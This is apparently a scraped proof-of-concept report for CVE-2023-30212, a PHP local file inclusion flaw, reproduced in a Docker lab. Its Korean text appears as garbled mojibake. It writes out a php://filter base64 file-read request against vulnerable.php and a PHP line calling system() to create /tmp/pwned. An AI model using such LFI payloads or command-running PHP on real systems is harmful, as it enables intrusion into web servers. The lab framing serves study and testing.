Share
## https://sploitus.com/exploit?id=1E3B8C72-35CC-54A4-B5CC-534FBD278F5E
# cve-2023-30212
PoC for CVE-2023-30212 using Docker
# CVE-2023-30212 ํ๊ฒฝ ๊ตฌ์ถ ๋ฐ PoC ๋ณด๊ณ ์
## ๐ ๊ฐ์
์ด ๋ณด๊ณ ์๋ Vulhub์ ์๋ CVE-2023-30212 ์ทจ์ฝ์ ์ ๋์์ผ๋ก Docker ๊ธฐ๋ฐ์ ์ทจ์ฝํ ์น ํ๊ฒฝ์ ์ง์ ๊ตฌ์ฑํ๊ณ , PoC๋ฅผ ํตํด ํด๋น ์ทจ์ฝ์ ์ ์
์ฆํ ๋ด์ฉ์ ๋ด๊ณ ์์ต๋๋ค.
- **CVE ๋ฒํธ**: CVE-2023-30212
- **์ทจ์ฝ์ ์ค๋ช
**: PHP LFI(Local File Inclusion)์ ํตํ ์๊ฒฉ ์ฝ๋ ์คํ ๊ฐ๋ฅ์ฑ
- **๋์ด๋**: ๊ณ ๊ธ (Vulhub์ ์๋ ํ๊ฒฝ์ ๊ตฌ์ฑ)
---
## ๐ง ํ๊ฒฝ ๊ตฌ์ฑ
### 1. Dockerfile ๋ฐ docker-compose ๊ตฌ์ฑ
- Base image: `php:8.1-apache`
- `/var/www/html` ๋๋ ํฐ๋ฆฌ์ `vulnerable.php`์ `malicious.php` ๋ณต์ฌ
- `8088` ํฌํธ๋ก ์ธ๋ถ ์ ์ ๊ฐ๋ฅ
<img width="685" alt="๋์ปค๋น๋" src="https://github.com/user-attachments/assets/c13673c0-6ff3-4df5-81f0-ab89283b9544" />
### 2. ์ฃผ์ ํ์ผ ์ค๋ช
| ํ์ผ๋ช
| ์ค๋ช
|
|-------------------|-------------------------------------|
| `vulnerable.php` | LFI ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ PHP ํ์ผ |
| `malicious.php` | ์์คํ
๋ช
๋ น์ ์คํํ๋ ์
์ฑ PHP ํ์ผ |
| `docker-compose.yml` | ์ปจํ
์ด๋ ๊ตฌ์ฑ์ ์ํ ์ค์ ํ์ผ |
| `Dockerfile` | ๋์ปค ์ด๋ฏธ์ง ์์ฑ์ ์ํ ์ค์ ํ์ผ |
<img width="491" alt="image" src="https://github.com/user-attachments/assets/5ae18494-a1a1-4c99-bafb-bc33a99bef7f" />
<img width="578" alt="image" src="https://github.com/user-attachments/assets/0c5f27de-e9f5-4910-b50f-1e0e26baca89" />
<img width="518" alt="image" src="https://github.com/user-attachments/assets/f05b71ab-1ecf-47ce-8365-7e40dcec2d61" />
<img width="512" alt="image" src="https://github.com/user-attachments/assets/064f5eb0-90b2-44e3-9d85-753b102b21d2" />
---
## ๐ ์ทจ์ฝ์ ์คํ ํ๋ฆ (PoC)
### 1. ์ปจํ
์ด๋ ์คํ
```bash
docker-compose up -d
```
์ปจํ
์ด๋ ์ด๋ฆ: cve-2023-30212-cve-lfi-1
Apache ์๋ฒ๊ฐ ์คํ๋๋ฉฐ http://localhost:8088์์ ์ ์ ๊ฐ๋ฅ
2. LFI ๊ธฐ๋ฐ ์
์ฑ ํ์ผ ์์ค ํ์ธ
์๋ URL์ ํธ์ถํ์ฌ malicious.php์ ๋ด์ฉ์ base64๋ก ์ธ์ฝ๋ฉ๋ ํํ๋ก ํ์ธํฉ๋๋ค:
```bash
http://localhost:8088/vulnerable.php?file=php://filter/convert.base64-encode/resource=malicious.php
```
<img width="508" alt="base64" src="https://github.com/user-attachments/assets/d428e22f-0d05-4c16-94e5-299abf9eb319" />
์ถ๋ ฅ ๊ฒฐ๊ณผ๋ฅผ ๋์ฝ๋ฉํ๋ฉด ์๋ PHP ์ฝ๋๊ฐ ํ์ธ๋ฉ๋๋ค:
```php
<?php system("touch /tmp/pwned"); ?>
```
<img width="470" alt="image" src="https://github.com/user-attachments/assets/14cd4d88-bf72-4842-b886-e8a0cba0338c" />
3. ๋ช
๋ น์ด ์คํ ๋ฐ ๊ฒฐ๊ณผ ํ์ธ
์๋ URL์ ํธ์ถํ์ฌ ์ค์ ๋ก ๋ช
๋ น์ด๋ฅผ ์คํํฉ๋๋ค:
```bash
http://localhost:8088/malicious.php
```
๋ช
๋ น์ด ์คํ ํ, /tmp/pwned ํ์ผ์ด ์์ฑ๋์ด์ผ ํฉ๋๋ค.
```bash
docker exec -it cve-2023-30212-cve-lfi-1 ls /tmp
```
๊ฒฐ๊ณผ์ pwned ํ์ผ์ด ์กด์ฌํ๋ฉด ์ฑ๊ณต์
๋๋ค.
<img width="689" alt="pwnedํ์ผ" src="https://github.com/user-attachments/assets/d2836c65-9a90-4728-91b9-5910ea6fea6c" />
## ๊ฒฐ๊ณผ ์์ฝ
php://filter ๊ธฐ๋ฐ LFI ์ทจ์ฝ์ ์ ํตํด ์
์ฑ ํ์ผ ๋ด์ฉ ํ์ธ ๋ฐ ๋์ฝ๋ฉ ์ฑ๊ณต
system() ํจ์๊ฐ ํฌํจ๋ ์
์ฑ PHP ํธ์ถ์ ํตํด ์์ ๋ช
๋ น์ด ์คํ ์ฑ๊ณต
/tmp/pwned ํ์ผ์ด ์์ฑ๋จ์ผ๋ก์จ PoC ๊ฒ์ฆ ์๋ฃ